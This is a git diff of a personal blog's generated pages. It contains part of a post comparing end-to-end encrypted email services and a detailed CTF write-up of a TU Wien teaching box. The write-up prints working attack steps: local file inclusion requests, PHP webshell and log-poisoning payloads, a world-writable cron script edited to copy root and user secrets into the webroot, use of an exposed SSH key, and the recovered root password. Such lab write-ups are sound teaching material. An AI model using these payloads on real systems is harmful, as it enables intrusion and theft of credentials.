    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/pgp/page/1/index.html b/public-clearnet/tags/pgp/page/1/index.html new file mode 100644 index 0000000..17fde28 --- /dev/null +++ b/public-clearnet/tags/pgp/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/pgp/ + \ No newline at end of file diff --git a/public-clearnet/tags/php/index.html b/public-clearnet/tags/php/index.html new file mode 100644 index 0000000..2067b1c --- /dev/null +++ b/public-clearnet/tags/php/index.html @@ -0,0 +1,11 @@ +Php | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/php/index.xml b/public-clearnet/tags/php/index.xml new file mode 100644 index 0000000..609ca9c --- /dev/null +++ b/public-clearnet/tags/php/index.xml @@ -0,0 +1,360 @@ +Php on AlipourIm journeyshttps://blog.alipour.eu/tags/php/Recent content in Php on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/php/page/1/index.html b/public-clearnet/tags/php/page/1/index.html new file mode 100644 index 0000000..bff9389 --- /dev/null +++ b/public-clearnet/tags/php/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/php/ + \ No newline at end of file diff --git a/public-clearnet/tags/postfix/index.html b/public-clearnet/tags/postfix/index.html new file mode 100644 index 0000000..439de5f --- /dev/null +++ b/public-clearnet/tags/postfix/index.html @@ -0,0 +1,13 @@ +Postfix | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/postfix/index.xml b/public-clearnet/tags/postfix/index.xml new file mode 100644 index 0000000..89ade08 --- /dev/null +++ b/public-clearnet/tags/postfix/index.xml @@ -0,0 +1,135 @@ +Postfix on AlipourIm journeyshttps://blog.alipour.eu/tags/postfix/Recent content in Postfix on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

